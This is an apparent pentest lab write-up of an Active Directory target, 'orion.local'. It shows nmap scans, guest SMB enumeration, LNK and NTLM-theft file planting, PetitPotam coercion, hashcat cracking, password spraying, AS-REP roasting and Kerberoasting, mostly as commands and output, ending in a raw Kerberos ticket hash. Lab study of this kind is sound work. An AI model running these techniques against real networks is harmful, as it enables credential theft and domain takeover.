![[Pasted image 20261017115411.png]]
# nmap
## ws-it
```sh
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
3389/tcp open ms-wbt-server syn-ack
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=WS-IT.orion.local
| Issuer: commonName=WS-IT.orion.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-02T15:45:35
| Not valid after: 2027-04-03T15:45:35
| MD5: 2f8c:a10b:70b8:4159:3b01:2152:a10f:704d
| SHA-1: 75cf:5319:f457:7e6e:88be:f34d:d063:ecbf:742e:a31f
| rdp-ntlm-info:
| Target_Name: ORION
| NetBIOS_Domain_Name: ORION
| NetBIOS_Computer_Name: WS-IT
| DNS_Domain_Name: orion.local
| DNS_Computer_Name: WS-IT.orion.local
| DNS_Tree_Name: orion.local
| Product_Version: 10.0.26100
|_ System_Time: 2026-10-16T01:18:03+00:00
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49669/tcp open msrpc syn-ack Microsoft Windows RPC
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| nbstat: NetBIOS name: WS-IT, NetBIOS user: <unknown>, NetBIOS MAC: 12:ff:d2:05:e5:ed (unknown)
| Names:
| WS-IT<00> Flags: <unique><active>
| ORION<00> Flags: <group><active>
| WS-IT<20> Flags: <unique><active>
| Statistics:
| 12:ff:d2:05:e5:ed:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 11095/tcp): CLEAN (Timeout)
| Check 2 (port 27759/tcp): CLEAN (Timeout)
| Check 3 (port 46110/udp): CLEAN (Timeout)
| Check 4 (port 41289/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-10-16T01:18:03
|_ start_date: N/A
```
## dc01
```sh
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-10-16 01:17:28Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: orion.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-03T16:27:30
| Not valid after: 2027-10-03T16:27:30
| MD5: 4a14:7363:1a5a:86ec:ed24:876c:feeb:6666
| SHA-1: 13c6:0c15:90e5:144a:9274:fc8c:7bc4:b1d2:8fbc:5f45
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: orion.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-03T16:27:30
| Not valid after: 2027-10-03T16:27:30
| MD5: 4a14:7363:1a5a:86ec:ed24:876c:feeb:6666
| SHA-1: 13c6:0c15:90e5:144a:9274:fc8c:7bc4:b1d2:8fbc:5f45
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: orion.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-03T16:27:30
| Not valid after: 2027-10-03T16:27:30
| MD5: 4a14:7363:1a5a:86ec:ed24:876c:feeb:6666
| SHA-1: 13c6:0c15:90e5:144a:9274:fc8c:7bc4:b1d2:8fbc:5f45
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: orion.local0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.orion.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.orion.local
| Issuer: commonName=orion-DC01-CA/domainComponent=orion
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-03T16:27:30
| Not valid after: 2027-10-03T16:27:30
| MD5: 4a14:7363:1a5a:86ec:ed24:876c:feeb:6666
| SHA-1: 13c6:0c15:90e5:144a:9274:fc8c:7bc4:b1d2:8fbc:5f45
3389/tcp open ms-wbt-server syn-ack
| rdp-ntlm-info:
| Target_Name: ORION
| NetBIOS_Domain_Name: ORION
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: orion.local
| DNS_Computer_Name: DC01.orion.local
| Product_Version: 10.0.26100
|_ System_Time: 2026-10-16T01:18:23+00:00
| ssl-cert: Subject: commonName=DC01.orion.local
| Issuer: commonName=DC01.orion.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-02T15:11:15
| Not valid after: 2027-04-03T15:11:15
| MD5: 9d39:8b55:1e05:1f19:e69d:b919:3911:c884
| SHA-1: 20e9:65f8:6898:b42d:5c56:7903:9eb9:6508:317e:60d0
|_ssl-date: TLS randomness does not represent time
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49670/tcp open msrpc syn-ack Microsoft Windows RPC
49671/tcp open msrpc syn-ack Microsoft Windows RPC
49672/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49693/tcp open msrpc syn-ack Microsoft Windows RPC
49731/tcp open msrpc syn-ack Microsoft Windows RPC
49739/tcp open msrpc syn-ack Microsoft Windows RPC
49818/tcp open msrpc syn-ack Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.95%I=7%D=10/16%Time=6AD17B2D%P=x86_64-pc-linux-gnu%r(T
SF:erminalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02
SF:\0\0\0");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 12:ff:c5:40:7a:5f (unknown)
| Names:
| DC01<00> Flags: <unique><active>
| ORION<00> Flags: <group><active>
| ORION<1c> Flags: <group><active>
| DC01<20> Flags: <unique><active>
| ORION<1b> Flags: <unique><active>
| Statistics:
| 12:ff:c5:40:7a:5f:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
| smb2-time:
| date: 2026-10-16T01:18:23
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 29191/tcp): CLEAN (Timeout)
| Check 2 (port 38129/tcp): CLEAN (Timeout)
| Check 3 (port 41192/udp): CLEAN (Timeout)
| Check 4 (port 28756/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
```
# ws-it | TCP/445 SMB
## nxc
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u '' -p ''
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [-] orion.local\: STATUS_ACCESS_DENIED
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'guest' -p ''
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\guest:
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'guest' -p '' --shares
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\guest:
SMB 10.0.0.6 445 WS-IT [*] Enumerated shares
SMB 10.0.0.6 445 WS-IT Share Permissions Remark
SMB 10.0.0.6 445 WS-IT ----- ----------- ------
SMB 10.0.0.6 445 WS-IT ADMIN$ Remote Admin
SMB 10.0.0.6 445 WS-IT C$ Default share
SMB 10.0.0.6 445 WS-IT Company Company documents - all staff
SMB 10.0.0.6 445 WS-IT IPC$ READ Remote IPC
SMB 10.0.0.6 445 WS-IT IT IT admins only
SMB 10.0.0.6 445 WS-IT Uploads READ,WRITE Public Upload Share
```
Steal hash time
## smbclient
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ impacket-smbclient 'orion.local/guest'@$ws -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# ls
[-] No share selected
# shares
ADMIN$
C$
Company
IPC$
IT
Uploads
# use Uploads
# ls
drw-rw-rw- 0 Fri Oct 16 01:25:50 2026 .
drw-rw-rw- 0 Sat Oct 3 19:59:18 2026 ..
-rw-rw-rw- 509 Sat Oct 3 16:24:40 2026 README.txt
# cat README.txt
Orion Corp - Public Upload Share
=================================
This share is provided for staff to drop files for the IT department
(scanned documents, logs, screenshots, driver files, etc.).
GUIDELINES
----------
- Files placed here are collected and processed by IT daily.
- Do NOT store sensitive or personal data in this folder.
- Files older than 30 days are automatically removed.
- For urgent requests, contact the helpdesk:
[email protected]
Thank you,
Orion Corp IT Operations
```
- Got a potential privileged user that uses this share [
[email protected]]
- This share is checked daily, we don't need more of a hint than that.
### Stealing net ntlm hashes
#### Weaponization
```sh
python3 /opt/ntlm_theft/ntlm_theft.py -g modern -s 192.168.211.2 -f bonus
```
Start the listener
```sh
sudo responder -I tun0
```
#### Write to the target share
```sh
# put bonus.htm
# put bonus.application
# put bonus.asx
# put bonus-(frameset).docx
....
```
We are not getting a response might have to pivot to something else
- I'll leave this running just incase
## Coercion
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion/bonus$ nxc smb $ws -u 'guest' -p '' -M coerce_plus -o LISTENER=192.168.211.2
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\guest:
COERCE_PLUS 10.0.0.6 445 WS-IT VULNERABLE, PetitPotam
COERCE_PLUS 10.0.0.6 445 WS-IT Exploit Success, efsrpc\EfsRpcAddUsersToFile
COERCE_PLUS 10.0.0.6 445 WS-IT VULNERABLE, PrinterBug
COERCE_PLUS 10.0.0.6 445 WS-IT VULNERABLE, MSEven
```
We got the Net NTLMv2 hash of the `ws-it` computer account
![[Pasted image 20261016165940.png]]
- Not crackable, not the way forward
## enum4linux-ng ws-it
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion/bonus$ enum4linux-ng -A $ws -C -U -P -u guest
ENUM4LINUX - next generation (v1.3.10)
==========================
| Target Information |
==========================
[*] Target ........... 10.0.0.6
[*] Username ......... 'guest'
[*] Random Username .. 'llbnnnlq'
[*] Password ......... ''
[*] Timeout .......... 10 second(s)
=================================
| Listener Scan on 10.0.0.6 |
=================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: timed out
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: timed out
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
=======================================================
| NetBIOS Names and Workgroup/Domain for 10.0.0.6 |
=======================================================
[+] Got domain/workgroup name: ORION
[+] Full NetBIOS names information:
- WS-IT <00> - B <ACTIVE> Workstation Service
- ORION <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
- WS-IT <20> - B <ACTIVE> File Server Service
- MAC Address = 0A-FF-F8-89-11-87
=====================================
| SMB Dialect Check on 10.0.0.6 |
=====================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
=======================================================
| Domain Information via SMB session for 10.0.0.6 |
=======================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: WS-IT
NetBIOS domain name: ORION
DNS domain: orion.local
FQDN: WS-IT.orion.local
Derived membership: domain member
Derived domain: ORION
=====================================
| RPC Session Check on 10.0.0.6 |
=====================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for password authentication
[+] Server allows authentication via username 'guest' and password ''
[*] Check for guest access
[+] Server allows authentication via username 'llbnnnlq' and password ''
[H] Rerunning enumeration with user 'llbnnnlq' might give more results
===============================================
| Domain Information via RPC for 10.0.0.6 |
===============================================
[+] Domain: ORION
[+] Domain SID: S-1-5-21-285037524-3800758587-3641439792
[+] Membership: domain member
===========================================
| OS Information via RPC for 10.0.0.6 |
===========================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: ''
OS build: '26100'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x9003'
Server type string: Wk Sv NT SNT
=================================
| Users via RPC on 10.0.0.6 |
=================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_CONNECTION_DISCONNECTED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_CONNECTION_DISCONNECTED
==================================
| Groups via RPC on 10.0.0.6 |
==================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_CONNECTION_DISCONNECTED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_CONNECTION_DISCONNECTED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_CONNECTION_DISCONNECTED
====================================
| Services via RPC on 10.0.0.6 |
====================================
[-] Could not get RPC services via 'net rpc service list': STATUS_ACCESS_DENIED
==================================
| Shares via RPC on 10.0.0.6 |
==================================
[*] Enumerating shares
[+] Found 6 share(s):
ADMIN$:
comment: Remote Admin
type: Disk
C$:
comment: Default share
type: Disk
Company:
comment: Company documents - all staff
type: Disk
IPC$:
comment: Remote IPC
type: IPC
IT:
comment: IT admins only
type: Disk
Uploads:
comment: Public Upload Share
type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share Company
[+] Mapping: OK, Listing: DENIED
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share IT
[+] Mapping: OK, Listing: DENIED
[*] Testing share Uploads
[+] Mapping: OK, Listing: OK
=====================================
| Policies via RPC for 10.0.0.6 |
=====================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: RPC_S_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
=====================================
| Printers via RPC for 10.0.0.6 |
=====================================
[+] No printers available
Completed after 33.07 seconds
```
Nothing we didn't already know
-----
Got help from discord and tyler for this part, `ntlm theft` files don't work on windows server 2025, and when we write to it with slinky it will not work either if don't remove all the other files. We ended up resetting the machine and going with slinky.
------
## nxc slinky -> steal ntlmv2 hash
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'guest' -p '' -M slinky -o SERVER=192.168.211.2 NAME=Quarterly_bonus SHARES=Uploads
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\guest:
SMB 10.0.0.6 445 WS-IT [*] Enumerated shares
SMB 10.0.0.6 445 WS-IT Share Permissions Remark
SMB 10.0.0.6 445 WS-IT ----- ----------- ------
SMB 10.0.0.6 445 WS-IT ADMIN$ Remote Admin
SMB 10.0.0.6 445 WS-IT C$ Default share
SMB 10.0.0.6 445 WS-IT Company Company documents - all staff
SMB 10.0.0.6 445 WS-IT IPC$ READ Remote IPC
SMB 10.0.0.6 445 WS-IT IT IT admins only
SMB 10.0.0.6 445 WS-IT Uploads READ,WRITE Public Upload Share
SLINKY 10.0.0.6 445 WS-IT [+] Found writable share: Uploads
SLINKY 10.0.0.6 445 WS-IT [+] Created LNK file on the Uploads share
```
```sh
sudo responder -I tun0 -dwP
```
![[Pasted image 20261017084428.png]]
### hashcat
```sh
hashcat -m 5600 b.williams.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
```
![[Pasted image 20261017085135.png]]
# Access as b.williams
## ws-it
### smb - Company share
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'b.williams' -p 'williams123'
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\b.williams:williams123
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $ws -u 'b.williams' -p 'williams123' --shares
SMB 10.0.0.6 445 WS-IT [*] Windows 11 / Server 2025 Build 26100 x64 (name:WS-IT) (domain:orion.local) (signing:True) (SMBv1:None)
SMB 10.0.0.6 445 WS-IT [+] orion.local\b.williams:williams123
SMB 10.0.0.6 445 WS-IT [*] Enumerated shares
SMB 10.0.0.6 445 WS-IT Share Permissions Remark
SMB 10.0.0.6 445 WS-IT ----- ----------- ------
SMB 10.0.0.6 445 WS-IT ADMIN$ Remote Admin
SMB 10.0.0.6 445 WS-IT C$ Default share
SMB 10.0.0.6 445 WS-IT Company READ Company documents - all staff
SMB 10.0.0.6 445 WS-IT IPC$ READ Remote IPC
SMB 10.0.0.6 445 WS-IT IT IT admins only
SMB 10.0.0.6 445 WS-IT Uploads READ,WRITE Public Upload Share
chromite@parrot:~/hacksmarterlabs/labs/orion$ impacket-smbclient 'orion.local/b.williams:williams123'@$ws
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use Company
# ls
drw-rw-rw- 0 Sat Oct 3 20:10:44 2026 .
drw-rw-rw- 0 Sat Oct 3 19:59:18 2026 ..
-rw-rw-rw- 3303 Sat Oct 3 20:00:19 2026 Holiday_Schedule_2026.pdf
-rw-rw-rw- 1133880 Sat Oct 3 20:11:06 2026 Orion_Corp_Company_Profile.pdf
-rw-rw-rw- 3422 Sat Oct 3 20:00:42 2026 Shipping_Rates_2026.pdf
# mget *
[*] Downloading Holiday_Schedule_2026.pdf
[*] Downloading Orion_Corp_Company_Profile.pdf
[*] Downloading Shipping_Rates_2026.pdf
```
We downloaded 3 pdf's from the share
![[Pasted image 20261017085451.png]]
Potential users in *Company Profile* document
![[Pasted image 20261017085535.png]]
There is also an hr account here
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc winrm $ws -u 'b.williams' -p 'williams123'
WINRM 10.0.0.6 5985 WS-IT [*] Windows 11 / Server 2025 Build 26100 (name:WS-IT) (domain:orion.local)
WINRM 10.0.0.6 5985 WS-IT [-] orion.local\b.williams:williams123
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc rdp $ws -u 'b.williams' -p 'williams123'
RDP 10.0.0.6 3389 WS-IT [*] Windows 10 or Windows Server 2016 Build 26100 (name:WS-IT) (domain:orion.local) (nla:True)
RDP 10.0.0.6 3389 WS-IT [+] orion.local\b.williams:williams123
```
Can't winrm or rdp
## dc01
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc rdp $dc -u 'b.williams' -p 'williams123'
RDP 10.0.0.5 3389 DC01 [*] Windows 10 or Windows Server 2016 Build 26100 (name:DC01) (domain:orion.local) (nla:True)
RDP 10.0.0.5 3389 DC01 [+] orion.local\b.williams:williams123
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc winrm $dc -u 'b.williams' -p 'williams123'
WINRM 10.0.0.5 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local)
WINRM 10.0.0.5 5985 DC01 [-] orion.local\b.williams:williams123
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $dc -u 'b.williams' -p 'williams123'
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [+] orion.local\b.williams:williams123
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc smb $dc -u 'b.williams' -p 'williams123' --shares
SMB 10.0.0.5 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:orion.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.0.0.5 445 DC01 [+] orion.local\b.williams:williams123
SMB 10.0.0.5 445 DC01 [*] Enumerated shares
SMB 10.0.0.5 445 DC01 Share Permissions Remark
SMB 10.0.0.5 445 DC01 ----- ----------- ------
SMB 10.0.0.5 445 DC01 ADMIN$ Remote Admin
SMB 10.0.0.5 445 DC01 C$ Default share
SMB 10.0.0.5 445 DC01 IPC$ READ Remote IPC
SMB 10.0.0.5 445 DC01 NETLOGON READ Logon server share
SMB 10.0.0.5 445 DC01 SYSVOL READ Logon server share
```
### bloodhound loot
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc ldap $dc -u 'b.williams' -p 'williams123' --bloodhound -c All --dns-server $dc
LDAP 10.0.0.5 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local) (signing:Enforced) (channel binding:When Supported)
LDAP 10.0.0.5 389 DC01 [+] orion.local\b.williams:williams123
LDAP 10.0.0.5 389 DC01 Resolved collection methods: localadmin, group, trusts, acl, session, psremote, objectprops, container, rdp, dcom
LDAP 10.0.0.5 389 DC01 Done in 0M 13S
LDAP 10.0.0.5 389 DC01 Compressing output into /home/chromite/.nxc/logs/DC01_10.0.0.5_2026-10-17_135900_bloodhound.zip
```
- We don't have anything immediate from this user in bloodhound, no outbound control or anything
## Password reuse?
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ nxc ldap $dc -u users.list -p pass.list --continue-on-success
LDAP 10.0.0.5 389 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:orion.local) (signing:Enforced) (channel binding:When Supported)
LDAP 10.0.0.5 389 DC01 [-] orion.local\Administrator:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\Guest:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\krbtgt:williams123
LDAP 10.0.0.5 389 DC01 [+] orion.local\b.williams:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\j.carter:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\s.mitchell:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\d.brooks:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\m.reeves:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\svc-pki:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\m.white:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\svc-onboarding:williams123
LDAP 10.0.0.5 389 DC01 [-] orion.local\d.miller:williams123
```
## no pre-auth required?
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ impacket-GetNPUsers 'orion.local/' -dc-ip $dc -no-pass -usersfile users.list
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: date
time.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User b.williams doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.carter doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.mitchell doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.brooks doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.reeves doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-pki doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.white doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-onboarding doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.miller doesn't have UF_DONT_REQUIRE_PREAUTH set
```
No users that don't require preauth
## Users with SPNs
### Impacket-GetUserSPNs
```sh
chromite@parrot:~/hacksmarterlabs/labs/orion$ impacket-GetUserSPNs 'orion.local/b.williams:williams123' -dc-ip $dc -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------- -------------- ------------------------------------------------ -------------------------- --------- ----------
HTTP/onboarding.orion.local svc-onboarding CN=Helpdesk Operators,OU=Orion,DC=orion,DC=local 2026-10-06 19:30:28.048542 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc-onboarding$ORION.LOCAL$orion.local/svc-onboarding*$2cf42821675fbc12902b9fc198a5ca9c$0c9b511ae0a2e116bc7769f2d11a72661a467ab5c545c0a0f73e21de0b9ec3e8e8b69f018f0f1a2e4abcb0e7b8f8fbecc40ed6183b9524ceb511dfbc17f1736bf
a1e60a9f6b8dcd3bb3b12065d5fb2844587aae6c3ce91acf62a23fc14cb2a305aa01552e5c06db56953137abcb4e8c4542cbfc8fdb21ee5e1fd40b39855f4c6b06aa2890d57ad1c597baa0c46475ee0fc2640444601d087046af510315f56b2f571fbab42ebe633c4590bfc3d4e1100b77ec3e
3b24992a835f9fea7ba43dbc2b1b2012149a6f16eeac54358ff33ed5fc965c01d3cd945335cb35eda2d9b455b83515be06c999d230e385e8c5b9551cf163919081d305a1f259df3ca2e93951b4e3e6bf253a5068008195c9a11c40f5e2fe4dc4a789b994b53064492593c3352ef20a2ac4f137
a4893b249dbcce50e5127fb4e27e7c29321e51712f1f9c68ccb6fe37a17f76b87e99cbae493bb7b42eefd1475a5f22112251d01a2d02dc1b62206ea03abaaae526f271cea5bcc78be1765056620d09bfd1eed37444227dee9009c7035a698c96cc396d2423ad621371ebfdda8fff4d6eba6fa5
702d40eb1bc25eb05d2c9c82f640069bc16b826ebbe832366cd8a269eaa0da459921d39a9aff47af71c6c199170de4dad5c6d6466439b043d094ab140ec31f11588037dc1cc199c05be84e806edf1ef28c9f54b3831492ec9641cc727a63fc86a891683903b458716267c055ae5b344b329b3f
be5524d6ac9fab34539bdb9faf85e7482234a2f98784a9edf8329fc208e0b243310e85b1c51ca45c4200be9b42faf6c2c140dd0f7bcc1576ce3b70cccf2b67727d0698fbc96c3f6e87c7d461f5056fb177115318b97139c2734a46a695c32aaef55ca8a0d65c33d2427b5018edfd7c462860b4
bb365c4dc73be352a233b6130aad320e6a7d705b7923ca0ceded901957b12cb6a3ae418ba41bbaeb92002cc5057a5e85eee467bf9f8e90ea2ed6e3ba60af4c92aa5d36fe229e13b8e99c741e957d090c1060b9107055f09c914fea144dd31ffa66eb311ef089a86e1049a80866309d177a72da
7eb95c139808817f034479364a18827a0359320a7000775795dd9a27bec83471690e0e120bae028e2929da139a78343c4a9d5b7ee4faef32b5c022511a3e060e2a4202a71d24997c20ab5ead7508dd614447cad89ca5c20249bc92e4b668cc14137333a22d9e3ffc65580547b6c2f71b2921bd
